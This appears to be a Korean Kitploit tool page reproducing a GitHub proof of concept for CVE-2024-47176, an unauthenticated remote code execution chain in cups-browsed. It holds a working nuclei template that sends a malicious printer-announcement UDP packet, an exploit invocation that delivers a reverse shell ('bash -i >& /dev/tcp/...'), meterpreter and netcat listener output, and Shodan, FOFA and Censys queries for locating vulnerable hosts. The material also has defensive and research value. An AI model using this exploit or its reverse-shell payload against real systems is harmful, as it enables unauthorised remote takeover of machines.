Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-47176 — cups-browsed에서의 인증되지 않은 RCE (익스플로잇 및 nuclei 템플릿) | Kitploit
도구/GitHubGitHub/l0n3m4n/cve-2024-47176
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingRed Teaming
GitHubl0n3m4n/cve-2024-47176

CVE-2024-47176

cups-browsed에서의 인증되지 않은 RCE (익스플로잇 및 nuclei 템플릿)

저장소 보기
17121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PoC: cups-browsed에서의 인증되지 않은 RCE

Facebook X Medium Python Kali

📜 취약점 정보

  • : 2024-09-26
게시일
  • 기본 점수: 5.3 (MEDIUM)
  • EPSS 점수: 0.06% 악용 확률.
  • 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • 설명: CUPS는 표준 기반의 오픈소스 인쇄 시스템이며, cups-browsed에는 인쇄 서비스 및 공유 프린터 자동 검색을 포함한 네트워크 인쇄 기능이 포함되어 있습니다. cups-browsed는 INADDR_ANY:631에 바인딩되어 있어 모든 출처의 패킷을 신뢰하며, Get-Printer-Attributes IPP 요청을 공격자가 제어하는 URL로 보내게 할 수 있습니다. CVE-2024-47076, CVE-2024-47175, CVE-2024-47177과 같은 다른 취약점과 결합하면, 공격자는 악의적인 프린터로 인쇄할 때 인증 없이 원격으로 대상 머신에서 임의의 명령을 실행할 수 있습니다.
  • 📚 목차

    • 📜 정보
    • 🛠️ 설치
    • ⚙️ 사용법
    • 🔎 탐지
    • 💁 참고 자료
    • 📢 면책 조항

    🛠️ 설치

    root@kitploit:~
    $ python3 -m venv venv && source venv/bin/activate
    $ pip install zeroconf ippserver colorama
    $ python3 CVE-2024-47176.py -h
    

    💡 잠재적으로 취약한 시스템은 다음 조건을 모두 충족해야 합니다:

    • 영향을 받는 GNU/Linux 배포판
    • 대상 머신에 cups-browsed 패키지(2.0.1 버전 또는 그 이하)가 설치되어 있어야 합니다.
    • cups-browsed 서비스가 시작/활성화되어 UDP 포트 631에서 수신 대기 중이어야 합니다.
    • 서버는 공격자가 접근할 수 있어야 합니다(공개 인터넷에 노출되거나 공격자가 로컬 네트워크 접근 권한이 있어야 함).
    • 이러한 취약점 체인을 악용하려면, 공격자가 사용자가 악성 프린터 서버에서 인쇄하도록 속여야 합니다.

    Nmap 열거

    root@kitploit:~
    $ sudo nmap -sV -p 631 --script=cups-info -Pn 192.168.1.100
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 15:45 PST
    Nmap scan report for 192.168.1.100
    Host is up (0.12s latency).
    
    PORT    STATE SERVICE VERSION
    631/tcp open  ipp     CUPS 2.0
    |_http-server-header: CUPS/2.0 IPP/2.1
    | cups-info: 
    |   ads
    |     DNS-SD Name: 
    |     Location: epower
    |     Model: Local Raw Printer
    |     State: Idle
    |_    Queue: 0 print jobs
    
    

    Nuclei 템플릿

    CVE-2024-47176.yml

    root@kitploit:~
    id: CVE-2024-47176
    
    info:
      name: CUPS - Remote Code Execution
      author: princechaddha
      severity: high
      description: |
        CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
        Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
      impact: |
        Successful exploitation could allow an attacker to execute arbitrary code on the target system.
      remediation: |
        Apply the necessary patch or upgrade to a non-vulnerable version of CUPS.
      reference:
        - https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
        - https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
        - https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
        - https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
        - https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
      classification:
        cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
        cvss-score: 8.3
        cve-id: CVE-2024-47176
        cwe-id: CWE-1327
        epss-score: 0.00045
        epss-percentile: 0.14875
      metadata:
        verified: true
        shodan-query: "product:cups"
      tags: cve,cve2024,cups,udp,printer,oast,rce
    
    javascript:
      - pre-condition: |
          isUDPPortOpen(Host,Port);
        code: |
          let packet = bytes.NewBuffer();
          let printer_type = "00";
          let printer_state = "03";
          let printer_uri = `http://${oast}/printers/VulnPrinter`;
          let printer_location = "Office HQ";
          let printer_info = "Vulnerable Printer";
          let message = `${printer_type} ${printer_state} ${printer_uri} "${printer_location}" "${printer_info}"`;
          packet.WriteString(message)
          let c = require("nuclei/net");
          let conn = c.Open('udp', `${Host}:${Port}`);
          conn.SendHex(packet.Hex());
    
        args:
          Host: "{{Host}}"
          Port: 631
          oast: "{{interactsh-url}}"
    
        matchers:
          - type: word
            part: interactsh_request
            words:
              - "natural-language"
              - "VulnPrinter"
            condition: and
    
        extractors:
          - type: regex
            group: 1
            part: interactsh_request
            regex:
              - 'User-Agent:\s?(.*)'
    # digest: 4b0a00483046022100a5171b18bd80ce93e04aabb4b3b70b0131e0a961a3d07b5ba72a33a0fa6f8434022100ee5ee6b9e749abcd80184e2c8e67a76765d0bf4a6f0df976848f8949d02c96ab:922c64590222798bb761d5b6d8e72950
    

    ⚙️ 사용법 및 익스플로잇

    cups-help

    root@kitploit:~
    $ python3 CVE-2024-47176.py -l 192.168.1.50 -s "Epson EcoTank L121" -p 631 -r rev.sh -t 192.168.1.100
    
    2024-10-03 15:45:10 - INFO - Using reverse shell from file 'rev.sh': [bash -i >& /dev/tcp/192.168.1.50/443 0>&1 or backdoor.elf]
    2024-10-03 15:45:10 - INFO - Registered printer service: Epson EcoTank L121
    2024-10-03 15:45:10 - INFO - [+] Starting IPP server on 192.168.1.50:631...
    2024-10-03 15:45:11 - INFO - Target connected, sending payload ...
    Sending udp packet to 192.168.1.100:631...
    2024-10-03 15:45:12 - INFO - Shutting down server...
    2024-10-03 15:45:12 - INFO - Unregistered printer service: Epson EcoTank L121
    2024-10-03 15:45:12 - INFO - Server closed.
    
    
    # c2 and local listener
    msf6 exploit(multi/handler) > exploit
    ...
    [*] Started reverse TCP handler on 192.168.1.100:4444
    [*] Sending stage (175086 bytes) to 192.168.1.100
    ... 
    meterpreter >
    
    $ sudo rlwrap nc -lvnp 443
    ...
    

    🔎 탐지

    • Shodan: port:631 "CUPS" or product:CUPS version:<2.0.1
    • FOFA: port=631 && protocol=ipp && product=CUPS && version<2.0.1
    • CENYS: services.service_name="IPP" AND services.port=631 AND metadata.product="CUPS" AND metadata.version<"2.0.1"

    💁 참고 자료

    • https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
    • https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
    • https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
    • https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6
    • https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
    • https://www.cups.org
    • https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I

    📢 면책 조항

    이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 이슈 생성

    도구 다운로드